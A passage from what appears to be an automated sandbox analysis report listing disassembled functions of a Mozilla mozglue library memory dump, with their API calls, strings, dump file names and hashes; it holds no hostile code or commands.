EnterCriticalSection.KERNEL32(6C9EE744,?,6C983F47,6C981A70,?), ref: 6C9621E0
LeaveCriticalSection.KERNEL32(6C9EE744,?,6C983F47,6C981A70,?), ref: 6C962232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C962253, 6C962268
MOZ_CRASH(), xrefs: 6C96227D

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 69ff7bd8220be52a33ba63fe6e8d6b4849b38a1ad3e39aae8b59a4c1d8d43d18
Instruction ID: 3955bf924c4e04d34babe6acadf24d2fcac83a72945dca7d4093b150ef59391f
Opcode Fuzzy Hash: 69ff7bd8220be52a33ba63fe6e8d6b4849b38a1ad3e39aae8b59a4c1d8d43d18
Instruction Fuzzy Hash: F361E432F046068FEB04CB6AC88976E77B5AFA9318F294139E524A7ED4D731D900C781

Function 6C9648E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C9A483A,?), ref: 6C964ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C9A483A,?), ref: 6C964AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C9A483A,?), ref: 6C964A82

Part of subcall function 6C97CA10: mozalloc_abort.MOZGLUE(?), ref: 6C97CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C9A483A,?), ref: 6C964A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C9A483A,?), ref: 6C964A35

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C9A483A,?), ref: 6C964A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C9A483A,?), ref: 6C964AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C9A483A,?), ref: 6C964B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C9A483A,?), ref: 6C964B2C

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: a84d0be199cbb28496848d864678cdc3f749461a9bf79d0afd453fb8ba94fde4
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 557179B19007069FDB14CFA9C490AAAB7F5FF19308B104A3ED15A9BF80E731E555CB90

Function 6C9B9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9B8273), ref: 6C9B9D65
free.MOZGLUE(6C9B8273,?), ref: 6C9B9D7C
free.MOZGLUE(?,?), ref: 6C9B9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9B9E0F
free.MOZGLUE(6C9B946B,?,?), ref: 6C9B9E24
free.MOZGLUE(?,?,?), ref: 6C9B9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9B9EC8
free.MOZGLUE(6C9B946B,?,?,?), ref: 6C9B9EDF
free.MOZGLUE(?,?,?,?), ref: 6C9B9EF5

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 832ebaf5ef3c0875936127337d436d0e734ddf81b1aae6b431855a3bbf3094fe
Instruction ID: a65b76491e3ee5d797cae369799144fe2d540189cbfdcbbddadd602a45faaab8
Opcode Fuzzy Hash: 832ebaf5ef3c0875936127337d436d0e734ddf81b1aae6b431855a3bbf3094fe
Instruction Fuzzy Hash: 3A71927050AB41EBD712CF19C48055BF3F4FFA9315B459A1DE85A5B702EB30E885CB91

Function 6C9BDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C9BDDCF

Part of subcall function 6C99FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C99FA4B

Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B90FF
Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9BDE0D
free.MOZGLUE(00000000), ref: 6C9BDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9BDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9BDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9BDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C9ADEFD,?,6C974A68), ref: 6C9BDF32

Part of subcall function 6C9BDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9BDB86
Part of subcall function 6C9BDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9BDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C9ADEFD,?,6C974A68), ref: 6C9BDF65
free.MOZGLUE(?), ref: 6C9BDF80

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: ebce671e029be9a16a9c0c71d76fd369a3e6dd31113420d3c2226e4fa82ffbdd
Instruction ID: ff01e36fd3d74c6b357ada35515ffefb1a2003522055e66ffed02d838a2a36aa
Opcode Fuzzy Hash: ebce671e029be9a16a9c0c71d76fd369a3e6dd31113420d3c2226e4fa82ffbdd
Instruction Fuzzy Hash: F451B477605701BBD7119B28C8806AFB3B6BFA5308F96051CE85A73B05D731F919CB92

Function 6C9C5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5DC9
std::_Facet_Register.LIBCPMT ref: 6C9C5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5E45

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 5ab952971dd5b51f24ab4d2d209167d5d458ecf115006d0f6c3d11d77fbc6073
Instruction ID: 9dc92c9492394ef38cf025c1f1030d25d8cd90939c4c6e0a50f464e2c4dc9486
Opcode Fuzzy Hash: 5ab952971dd5b51f24ab4d2d209167d5d458ecf115006d0f6c3d11d77fbc6073
Instruction Fuzzy Hash: 6E418E707043059FCB00DF65C898AAE77B9EF9D318F144069E50A9B791EB34EC45CB62

Function 6C99CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9631A7), ref: 6C99CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C99CFA4, 6C99CFB8
<jemalloc>, xrefs: 6C99CF9F, 6C99CFB3

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 51644a73af61bd4c451e8cbc44d4e533a24f757b11e5738f3a7d994705bda751
Instruction ID: 48f6e9e746a1befbc69f35562f26cd496e6fc4d4c9df4b54e52e0d2e404b06d2
Opcode Fuzzy Hash: 51644a73af61bd4c451e8cbc44d4e533a24f757b11e5738f3a7d994705bda751
Instruction Fuzzy Hash: 8031E630B443065BFF10AFA58C45B6E7B79BF59B18F384018F616ABAC0DB70D8108BA4

Function 6C96ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C96F100: LoadLibraryW.KERNEL32(shell32,?,6C9DD020), ref: 6C96F122
Part of subcall function 6C96F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C96F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C96ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C96EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C96EDCC
CreateFileW.KERNEL32 ref: 6C96EE08
free.MOZGLUE(00000000), ref: 6C96EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C96EE32

Part of subcall function 6C96EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C96EBB5
Part of subcall function 6C96EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C99D7F3), ref: 6C96EBC3
Part of subcall function 6C96EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C99D7F3), ref: 6C96EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C96EDC1

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 62a11fe2268fedc98e585b7be126c38cc7650df0c5d06d456f0940d0f1fb8904
Instruction ID: bb5dfa459c57f699a1056206158772aec3aa26d443816d100eac1a4f912f9777
Opcode Fuzzy Hash: 62a11fe2268fedc98e585b7be126c38cc7650df0c5d06d456f0940d0f1fb8904
Instruction Fuzzy Hash: 2951D071D05204DBEB01DF69CC407EEB7B4AF69318F54842DE8556BB80E730E948CBA2

Function 6C9DA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9DA565

Part of subcall function 6C9DA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9DA4BE
Part of subcall function 6C9DA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9DA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9DA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9DA6B6

Strings

0, xrefs: 6C9DA5FB
z, xrefs: 6C9DA6AE

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 37560d6d80de957a7cb874c3af0a6fb1ac3f2e5de5782c9337517793a86e7a3d
Instruction ID: cc54a6fa76f7a7508ee3af50abf586e8a4ee86f999230ba11beb60bcacc5ea75
Opcode Fuzzy Hash: 37560d6d80de957a7cb874c3af0a6fb1ac3f2e5de5782c9337517793a86e7a3d
Instruction Fuzzy Hash: D5413771909B45DFC341DF28C080A9FBBE5BF99354F408A2EF49997650EB30E559CB82

Function 6C9678C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9E008B), ref: 6C967B89
free.MOZGLUE(?,6C9E008B), ref: 6C967BAC

Part of subcall function 6C9678C0: free.MOZGLUE(?,6C9E008B), ref: 6C967BCF

free.MOZGLUE(?,6C9E008B), ref: 6C967BF2

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: e0d9ccb87586ad3ebd4cc79f098ae61bb2020205659ac7a8a820c74b5147a01d
Instruction ID: 022ddb5a4f8435c6e9fd4f8fc5389646b8f004cc6be7a92c1ee60df715c6c9d2
Opcode Fuzzy Hash: e0d9ccb87586ad3ebd4cc79f098ae61bb2020205659ac7a8a820c74b5147a01d
Instruction Fuzzy Hash: 43C1A171E011298BFB248B29CCA0BADB772AF51318F1507A9D41AABFC1C731DE858F51

Function 6C9A9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
__Init_thread_footer.LIBCMT ref: 6C9A949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9A9459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9A946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9A947D

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: a286742f646dde5702e9f9cea5497f30a33b84af54e0ec103b573ab522e1fd48
Instruction ID: 5339ff1b63fb6d48df6833fe8939d8d2a163d2888a2dfa06ef6f11877cd6da4c
Opcode Fuzzy Hash: a286742f646dde5702e9f9cea5497f30a33b84af54e0ec103b573ab522e1fd48
Instruction Fuzzy Hash: C3012870A04100CBEF40DB9DE808A4533B8EF6E72DF150537D90A86F42EA22D5558957

Function 6C9B0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B0F88
GetCurrentThreadId.KERNEL32 ref: 6C9B0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C9B1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9B10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C9B114B

Part of subcall function 6C9A8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9C1563), ref: 6C9A8BD5

free.MOZGLUE(?), ref: 6C9B1174
free.MOZGLUE(?), ref: 6C9B1186

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: b30f9ceb7e3b0842f98cfcc2aebbe29dd9bd03de2edff1ebd90226e7406afeac
Instruction ID: 5cc031c2bfc3178bbca1dfc65de5f7bb7ab067326ea35db39abc47d02ba77459
Opcode Fuzzy Hash: b30f9ceb7e3b0842f98cfcc2aebbe29dd9bd03de2edff1ebd90226e7406afeac
Instruction Fuzzy Hash: C961B075A08740ABDB10CF24C98079BB7F9BFEA308F14891DE89967711EB31E559CB81

Function 6C96B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B6AC

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C96B61E), ref: 6C96B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B79A

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 7772abed08f2a13fa68adfb29ded0061e12236ccacb5f151e3e1d38c6076494c
Instruction ID: f5252f8c939df9c436621fd88dc9660449442bc99005785a882ea740c3a9cbb9
Opcode Fuzzy Hash: 7772abed08f2a13fa68adfb29ded0061e12236ccacb5f151e3e1d38c6076494c
Instruction Fuzzy Hash: BF41B2B2D001159FDB14DF69DC806AEF7B9BB64324F250629F825E7B80E731E9148BE1

Function 6C96EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9E5104), ref: 6C96EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C96EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C96EFEC
free.MOZGLUE(?), ref: 6C96F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C96F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C96F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C96F065
moz_xmalloc.MOZGLUE ref: 6C96F072

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: cbdc22c968b6a48f71de8475aceba86b470a56f1484dddc6e3e0b02956e324bf
Instruction ID: 557e869bce74702624e59ac9da750bc58e7692a23e164174818f0416366be11d
Opcode Fuzzy Hash: cbdc22c968b6a48f71de8475aceba86b470a56f1484dddc6e3e0b02956e324bf
Instruction Fuzzy Hash: 3A41E7B1A002059FDB08CF68DC819BF7769BF98318B244628E815DBBD4EB31E915C7E1

Function 6C9DB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9DB5B9
